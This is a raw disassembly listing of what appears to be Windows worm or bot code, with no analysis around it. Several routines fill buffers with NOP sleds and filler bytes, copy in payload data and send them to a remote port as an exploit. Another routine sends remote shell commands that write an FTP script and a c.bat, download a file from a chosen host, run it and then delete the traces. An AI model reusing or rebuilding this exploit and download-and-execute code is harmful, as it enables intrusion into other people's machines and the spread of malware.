cmp eax, 408h
ja loc_424CF5
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_4458A0
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_4458A8
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B7C
lea ecx, [esp+864h+var_830]
call sub_4017D5
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B7C
push offset loc_445C28
lea ecx, [esp+868h+var_810]
call sub_402054
lea ecx, [esp+864h+var_810]
call sub_401B7C
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401843
lea ecx, [esp+864h+var_808]
call sub_401B7C
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EC9
lea ecx, [esp+864h+var_808]
call sub_4016C2
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402054
push 4
push offset dword_4458AC
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B7C
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_401505
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_401505
lea ecx, [esp+864h+var_820]
call sub_4017D5
lea ecx, [esp+864h+var_848]
call sub_4016C2
lea ecx, [esp+864h+var_810]
call sub_4016C2
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
push edx
lea ecx, [esp+86Ch+var_828]
call sub_401505
mov eax, [esp+864h+var_81C]
mov ecx, [esp+864h+var_820]
push eax
push ecx
lea ecx, [esp+86Ch+var_828]
call sub_401505
lea ecx, [esp+864h+var_828]
call sub_4017D5
lea ecx, [esp+864h+var_840]
call sub_4016C2
lea ecx, [esp+864h+var_830]
call sub_4016C2
lea ecx, [esp+864h+var_820]
call sub_4016C2
mov ecx, 200h
mov eax, 41414141h
lea edi, [esp+864h+var_800]
lea edx, [esp+864h+var_800]
rep stosd
push 400h
push edx
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
lea ecx, [esp+864h+var_838]
call sub_401B7C
push 2
push offset dword_445C1C
lea ecx, [esp+86Ch+var_838]
call sub_4012C6
mov eax, [esp+864h+var_824]
mov ecx, [esp+864h+var_828]
push eax
push ecx
lea ecx, [esp+86Ch+var_838]
call sub_401505
lea ecx, [esp+864h+var_838]
call sub_4017D5
lea ecx, [esp+864h+var_828]
call sub_4016C2
lea ecx, [esp+864h+var_850]
call sub_4012A8
lea ecx, [esp+864h+var_858]
call sub_4012A8
mov edx, [esp+864h+var_834]
mov eax, [esp+864h+var_838]
push edx
push eax
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_838]
call sub_4016C2
push offset dword_445C18
lea ecx, [esp+868h+var_858]
call sub_402054
mov ecx, [esp+864h+var_84C]
mov edx, [esp+864h+var_850]
push ecx
push edx
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_444E60
lea ecx, [esp+868h+var_850]
call sub_402054
mov eax, [esp+864h+var_854]
mov ecx, [esp+864h+var_858]
push eax
push ecx
lea ecx, [esp+86Ch+var_850]
call sub_401505
lea ecx, [esp+864h+var_850]
call sub_4010A0
lea ecx, [esp+864h+var_858]
call sub_4016C2
push offset dword_445C0C
lea ecx, [esp+868h+var_858]
call sub_402054
mov edx, [esp+864h+var_84C]
mov eax, [esp+864h+var_850]
push edx
push eax
lea ecx, [esp+86Ch+var_858]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4010A0
lea ecx, [esp+864h+var_850]
call sub_4016C2
push offset dword_445C08
lea ecx, [esp+868h+var_818]
call sub_402054
mov ecx, [esp+864h+var_854]
mov edx, [esp+864h+var_858]
push ecx
push edx
lea ecx, [esp+86Ch+var_818]
call sub_401505
lea ecx, [esp+864h+var_858]
call sub_4016C2
mov eax, [esp+864h+arg_0]
mov ecx, [esp+864h+var_818]
mov edx, [esp+864h+var_814]
pop edi
mov [eax], ecx
pop esi
mov [eax+4], edx
pop ebx
add esp, 858h
retn
; ---------------------------------------------------------------------------
loc_424CF5: ; CODE XREF: sub_424920+1Ej
; sub_424920+33j
mov eax, [esp+860h+arg_0]
mov ecx, [esp+860h+var_818]
mov edx, [esp+860h+var_814]
pop esi
mov [eax], ecx
mov [eax+4], edx
pop ebx
add esp, 858h
retn
sub_424920 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E20 proc near ; CODE XREF: sub_401AC8j
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 210h
push esi
mov esi, [esp+214h+arg_0]
lea eax, [esp+214h+var_210]
lea ecx, [esp+214h+var_104]
push eax
push ecx
lea edx, [esp+21Ch+var_208]
push 0
lea eax, [esi+1]
push edx
push eax
mov [esp+228h+var_204], esi
mov [esp+228h+var_208], 1
mov [esp+228h+var_100], esi
mov [esp+228h+var_104], 1
mov [esp+228h+var_210], 0Ah
mov [esp+228h+var_20C], 0
nop
call near ptr 71AB2DC0h
cmp eax, 1
jz short loc_424E89
xor eax, eax
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424E89: ; CODE XREF: sub_424E20+5Dj
lea ecx, [esp+214h+var_208]
push ecx
push esi
call sub_438256
sub_424E20 endp
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_424EA0
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
loc_424EA0: ; CODE XREF: ___:00424E96j
mov edx, [esp+224h]
mov eax, [esp+220h]
mov ecx, [esp+21Ch]
push edx
push eax
push ecx
push esi
call near ptr 71AB615Ah
nop
pop esi
add esp, 210h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F00 proc near ; CODE XREF: sub_4012F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_8]
push edi
push esi
call near ptr 71AB2BC0h
nop
mov edi, [esp+0Ch+arg_0]
mov ebx, dword_511CA0
mov [esp+0Ch+arg_8], eax
push 0
lea eax, [esp+10h+arg_8]
push 4
push eax
push edi
call ebx ; send
cmp eax, 4
jz short loc_424F33
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424F33: ; CODE XREF: sub_424F00+2Bj
mov ecx, [esp+0Ch+arg_4]
push 0
push esi
push ecx
push edi
call ebx ; send
xor edx, edx
cmp eax, esi
setz dl
pop edi
pop esi
mov al, dl
pop ebx
retn
sub_424F00 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424F70 proc near ; CODE XREF: sub_4012F8j
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 104h
push ebx
push ebp
mov ebp, [esp+10Ch+arg_8]
push esi
lea esi, [ebp+41h]
push esi
mov [esp+114h+var_104], esi
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424FA3
pop esi
pop ebp
xor al, al
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_424FA3: ; CODE XREF: sub_424F70+25j
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov esi, offset dword_44593C
shr ecx, 2
rep stosd
mov ecx, edx
push 85h
and ecx, 3
push offset dword_4458B4
rep stosb
mov ecx, 0Bh
mov edi, ebx
rep movsd
movsw
movsb
mov [ebx+2Fh], bp
mov eax, dword_44596C
mov [ebx+31h], eax
mov ecx, dword_445970
mov esi, [esp+11Ch+arg_4]
mov [ebx+35h], ecx
mov ecx, ebp
lea eax, [ebx+3Bh]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [ebx+39h], bp
add eax, ebp
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, dword_510100
mov esi, [esp+11Ch+arg_0]
mov [eax], ecx
mov dx, word_510104
push esi
mov [eax+4], dx
call sub_4012F3
add esp, 0Ch
test al, al
pop edi
jnz short loc_425048
push ebx
call near ptr 77C2C21Bh
nop
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425048: ; CODE XREF: sub_424F70+C0j
push 0
lea eax, [esp+114h+var_100]
push 100h
push eax
push esi
call sub_401AC8
mov ecx, [esp+120h+var_104]
push ecx
push ebx
push esi
call sub_4012F3
add esp, 1Ch
test al, al
jnz short loc_425083
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
xor al, al
pop esi
pop ebp
pop ebx
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_425083: ; CODE XREF: sub_424F70+FBj
push 0
lea edx, [esp+114h+var_100]
push 100h
push edx
push esi
call sub_401AC8
push ebx
call near ptr 77C2C21Bh
nop
add esp, 14h
mov al, 1
pop esi
pop ebp
pop ebx
add esp, 104h
retn
sub_424F70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425100 proc near ; CODE XREF: sub_401820j
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = word ptr -418h
var_416 = dword ptr -416h
var_412 = dword ptr -412h
var_40E = dword ptr -40Eh
var_40A = word ptr -40Ah
var_408 = dword ptr -408h
var_400 = byte ptr -400h
var_3FF = byte ptr -3FFh
var_371 = byte ptr -371h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 420h
push ebp
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [esp+42Ch+var_3FF]
rep stosd
stosw
stosb
mov ecx, 23h
mov esi, offset sub_445AE0
lea edi, [esp+42Ch+var_400]
rep movsd
movsw
mov ecx, offset byte_449511
movsb
call sub_4017EE
push eax
mov ecx, offset byte_449511
call sub_4017EE
mov ecx, [esp+430h+arg_0]
push eax
mov eax, dword_44964F
push eax
push ecx
call sub_401E10
add esp, 4
lea edx, [esp+438h+var_371]
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
push 400h
push edx
call near ptr 77C3FA76h
nop
add eax, 90h
lea ecx, [esp+448h+var_408]
push eax
lea eax, [esp+44Ch+var_400]
push eax
push 164h
push offset sub_445978
push ecx
call sub_401BFE
mov edx, [eax]
xor edi, edi
mov [esp+45Ch+var_420], edx
add esp, 30h
mov eax, [eax+4]
cmp eax, edi
mov [esp+42Ch+var_41C], eax
jnz short loc_4251B2
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 420h
retn
; ---------------------------------------------------------------------------
loc_4251B2: ; CODE XREF: sub_425100+A4j
mov ebp, dword_511C38
mov [esp+42Ch+var_408], edi
loc_4251BC: ; CODE XREF: sub_425100+161j
test edi, edi
jnz loc_425267
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_42524A
mov ecx, [esp+42Ch+arg_9E]
xor eax, eax
mov [esp+42Ch+var_416], eax
push ecx
mov [esp+430h+var_412], eax
mov [esp+430h+var_418], 2
mov [esp+430h+var_40E], eax
mov [esp+430h+var_40A], ax
call ebp ; ntohs
lea edx, [esp+42Ch+arg_4]
mov word ptr [esp+42Ch+var_416], ax
push edx
nop
call near ptr 71AB2BF4h
mov [esp+42Ch+var_416+2], eax
lea eax, [esp+42Ch+var_418]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz short loc_42523F
mov ecx, [esp+42Ch+var_41C]
mov edx, [esp+42Ch+var_420]
push ecx
push edx
push esi
call sub_4012F8
add esp, 0Ch
and eax, 0FFh
mov edi, eax
loc_42523F: ; CODE XREF: sub_425100+123j
push esi
nop
call near ptr 71AB9639h
test edi, edi
jnz short loc_425255
loc_42524A: ; CODE XREF: sub_425100+D5j
push 3E8h
call near ptr 2850369h
nop
loc_425255: ; CODE XREF: sub_425100+148j
mov eax, [esp+42Ch+var_408]
inc eax
cmp eax, 2
mov [esp+42Ch+var_408], eax
jl loc_4251BC
loc_425267: ; CODE XREF: sub_425100+BEj
lea ecx, [esp+42Ch+var_420]
call sub_4016C2
test edi, edi
jz short loc_425297
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+4E8h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425297: ; CODE XREF: sub_425100+172j
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 420h
retn
sub_425100 endp
; ---------------------------------------------------------------------------
aRrrrrrrrrr db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜι',1Bh,0
align 4
dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h
dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_425370 proc near ; CODE XREF: sub_4013D4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
push 0C8h
nop
call near ptr 2850369h
mov edx, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+4+arg_0]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
sub_425370 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4253C0 proc near ; CODE XREF: sub_4013BBj
var_434 = byte ptr -434h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_4253C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 428h
xor eax, eax
push ebx
mov [esp+438h+var_41C], eax
push esi
mov [esp+43Ch+var_418], eax
lea ecx, [esp+43Ch+arg_4]
push edi
mov [esp+440h+var_414], eax
push ecx
mov [esp+444h+var_410], eax
mov word ptr [esp+444h+var_41C], 2
nop
call near ptr 71AB2BF4h
mov dx, word_510108
mov [esp+440h+var_418], eax
push edx
call near ptr 71AB2B66h
nop
push 0
push 1
push 2
mov word ptr [esp+44Ch+var_41C+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
or ebx, 0FFFFFFFFh
cmp esi, ebx
jz loc_4256BE
lea eax, [esp+440h+var_41C]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_4256BE
mov edi, dword_511CA4
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
lea ecx, [esp+440h+var_434]
call sub_40142E
mov edx, dword_44964F
mov eax, [esp+440h+arg_0]
push edx
push eax
mov [esp+448h+var_4], 0
call sub_401E10
add esp, 4
lea ecx, [esp+444h+var_434]
push eax
push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449511
call sub_4017EE
push eax
lea ecx, [esp+444h+var_434]
push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoBye_pif ; "echo bye>>.pif \r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
mov ecx, offset byte_449511
call sub_4017EE
push eax
lea edx, [esp+444h+var_434]
push offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz loc_4256AE
lea eax, [esp+440h+var_434]
push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n"
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea ecx, [esp+440h+var_434]
push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea edx, [esp+440h+var_434]
push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
push edx
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jz short loc_4256AE
lea eax, [esp+440h+var_434]
push offset dword_4467A4
push eax
call sub_40102D
add esp, 8
lea ecx, [esp+440h+var_434]
call sub_4014DD
push eax
push esi
call sub_4013D4
add esp, 8
test al, al
jnz short loc_4256C2
loc_4256AE: ; CODE XREF: sub_4253C0+F3j
; sub_4253C0+120j ...
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
loc_4256BE: ; CODE XREF: sub_4253C0+6Fj
; sub_4253C0+85j
xor al, al
jmp short loc_4256EA
; ---------------------------------------------------------------------------
loc_4256C2: ; CODE XREF: sub_4253C0+2ECj
push 0
lea ecx, [esp+444h+var_40C]
push 400h
push ecx
push esi
call edi ; recv
push esi
nop
call near ptr 71AB9639h
lea ecx, [esp+440h+var_434]
mov [esp+440h+var_4], ebx
call sub_401226
mov al, 1
loc_4256EA: ; CODE XREF: sub_4253C0+300j
mov ecx, [esp+440h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 434h
retn
sub_4253C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4257F0 proc near ; CODE XREF: sub_40180Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_28 = byte ptr 2Ch
arg_2C = byte ptr 30h
arg_2F = byte ptr 33h
arg_59 = byte ptr 5Dh
arg_5B = byte ptr 5Fh
arg_5C = byte ptr 60h
arg_90 = byte ptr 94h
arg_A4 = byte ptr 0A8h
arg_A5 = byte ptr 0A9h
arg_F0 = byte ptr 0F4h
arg_190 = byte ptr 194h
arg_89C = dword ptr 8A0h
arg_8AC = byte ptr 8B0h
arg_8D4 = dword ptr 8D8h
arg_8E4 = byte ptr 8E8h
arg_C08 = dword ptr 0C0Ch
arg_C0C = dword ptr 0C10h
arg_C18 = byte ptr 0C1Ch
arg_E30 = byte ptr 0E34h
arg_E50 = byte ptr 0E54h
arg_E70 = byte ptr 0E74h
arg_E90 = byte ptr 0E94h
arg_1480 = byte ptr 1484h
arg_14E0 = byte ptr 14E4h
arg_14FC = byte ptr 1500h
arg_1CCC = byte ptr 1CD0h
arg_2177 = byte ptr 217Bh
arg_2464 = byte ptr 2468h
arg_24C5 = byte ptr 24C9h
arg_34F8 = byte ptr 34FCh
arg_3FA0 = byte ptr 3FA4h
arg_3FC0 = byte ptr 3FC4h
arg_401C = byte ptr 4020h
arg_401D = byte ptr 4021h
arg_4020 = byte ptr 4024h
arg_4030 = byte ptr 4034h
arg_4AF4 = byte ptr 4AF8h
arg_6098 = byte ptr 609Ch
arg_60F8 = byte ptr 60FCh
arg_6100 = byte ptr 6104h
arg_8140 = byte ptr 8144h
arg_81DC = byte ptr 81E0h
arg_8234 = dword ptr 8238h
arg_8290 = dword ptr 8294h
arg_8294 = dword ptr 8298h
mov eax, 81D8h
call sub_437B30
mov eax, dword_446904
mov ecx, dword_446908
push ebx
push ebp
push esi
lea edx, [esp+0Ch+arg_81DC]
push edi
mov [esp+10h], eax
push edx
lea eax, [esp+14h+arg_4]
push offset dword_4468F8
push eax
mov [esp+1Ch+arg_0], ecx
call sub_5F76F7
nop
add esp, 0Ch
xor eax, eax
lea ecx, [esp+10h+arg_A5]
loc_425835: ; CODE XREF: sub_4257F0+56j
mov dl, [esp+eax+10h+arg_4]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 28h
jl short loc_425835
mov ecx, 18h
mov esi, offset dword_4461C8
lea edi, [esp+10h+arg_2C]
xor eax, eax
rep movsd
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+10h+arg_A4]
shl ecx, 1
mov eax, ecx
lea edi, [esp+10h+arg_5C]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
mov edx, dword_44621F
rep movsb
lea edi, [esp+10h+arg_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
mov eax, dword_446223
dec ecx
lea edi, [esp+10h+arg_4]
lea ecx, [esp+ecx*2+10h+arg_5B]
mov [ecx], edx
mov dl, byte_446227
mov [ecx+4], eax
xor eax, eax
mov [ecx+8], dl
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+10h+arg_4]
mov ebx, ecx
or ecx, 0FFFFFFFFh
add bl, 1Ah
shl bl, 1
repne scasb
mov ax, word_510108
mov [esp+10h+arg_2F], bl
not ecx
dec ecx
push eax
shl cl, 1
add cl, 9
mov [esp+14h+arg_59], cl
call near ptr 71AB2B66h
nop
mov edx, [esp+14h+arg_8294]
xor eax, 9999h
test edx, edx
mov word_445EC8, ax
jz loc_4259E3
mov ecx, 36Bh
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov edx, dword_4465BC[edx*8]
rep stosd
mov edi, offset loc_445E18
or ecx, 0FFFFFFFFh
xor eax, eax
mov esi, offset loc_445E18
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_8E4]
mov eax, ecx
mov [esp+14h+arg_8D4], edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, dword_4468F0
mov edi, offset loc_445E18
mov [esp+14h+arg_C08], ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov [esp+14h+arg_C0C], edx
mov edx, ecx
mov esi, offset loc_445E18
lea edi, [esp+14h+arg_C18]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+14h+arg_24C5]
loc_42598F: ; CODE XREF: sub_4257F0+1B5j
mov dl, [esp+eax+14h+arg_F0]
inc eax
mov [ecx-1], dl
mov byte ptr [ecx], 0
add ecx, 2
cmp eax, 0DACh
jl short loc_42598F
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_60F8]
mov [esp+14h+arg_401C], 0
rep stosd
stosw
mov ecx, 714h
mov eax, 31313131h
lea edi, [esp+14h+arg_4020]
mov [esp+14h+arg_401D], 0
rep stosd
stosw
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_4259E3: ; CODE XREF: sub_4257F0+10Bj
mov ecx, 1F4h
mov eax, 90909090h
lea edi, [esp+14h+arg_F0]
mov esi, offset loc_445E18
rep stosd
mov edi, offset loc_445E18
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea edi, [esp+14h+arg_190]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+14h+var_4]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea esi, [esp+14h+var_4]
mov edx, ecx
lea edi, [esp+14h+arg_8AC]
shr ecx, 2
rep movsd
mov eax, dword_4465BC
mov ecx, edx
and ecx, 3
rep movsb
mov [esp+14h+arg_89C], eax
loc_425A52: ; CODE XREF: sub_4257F0+1F1j
mov ecx, 38Ah
mov eax, 31313131h
lea edi, [esp+14h+arg_14E0]
mov ebp, [esp+14h+arg_8290]
rep stosd
movsx ecx, bl
mov ebx, dword_511CA0
add ecx, 4
push 0
lea edx, [esp+18h+arg_28]
push ecx
push edx
push ebp
stosb
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425A96
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425A96: ; CODE XREF: sub_4257F0+297j
mov esi, dword_511CA4
push 0
lea eax, [esp+28h+arg_E90]
push 640h
push eax
push ebp
call esi ; recv
push 0
push 68h
push offset dword_44622C
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ACC
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425ACC: ; CODE XREF: sub_4257F0+2CDj
push 0
lea ecx, [esp+48h+arg_E70]
push 640h
push ecx
push ebp
call esi ; recv
push 0
push 0A0h
push offset dword_446298
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425AFF
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425AFF: ; CODE XREF: sub_4257F0+300j
push 0
lea edx, [esp+68h+arg_E50]
push 640h
push edx
push ebp
call esi ; recv
mov eax, [esp+74h+arg_8234]
test eax, eax
jz loc_425BE5
mov ecx, 1Ah
mov esi, offset dword_446450
lea edi, [esp+74h+arg_6098]
push 0
rep movsd
mov ecx, 6D6h
lea esi, [esp+78h+arg_2464]
lea edi, [esp+78h+arg_6100]
lea eax, [esp+78h+arg_6098]
rep movsd
movsw
mov ecx, 1Ch
mov esi, offset dword_4464BC
lea edi, [esp+78h+arg_3FC0]
push 10FCh
rep movsd
mov ecx, 297h
lea esi, [esp+7Ch+arg_34F8]
lea edi, [esp+7Ch+arg_4030]
push eax
rep movsd
movsw
mov ecx, 21h
mov esi, offset dword_446530
lea edi, [esp+80h+arg_4AF4]
push ebp
rep movsd
call ebx ; send
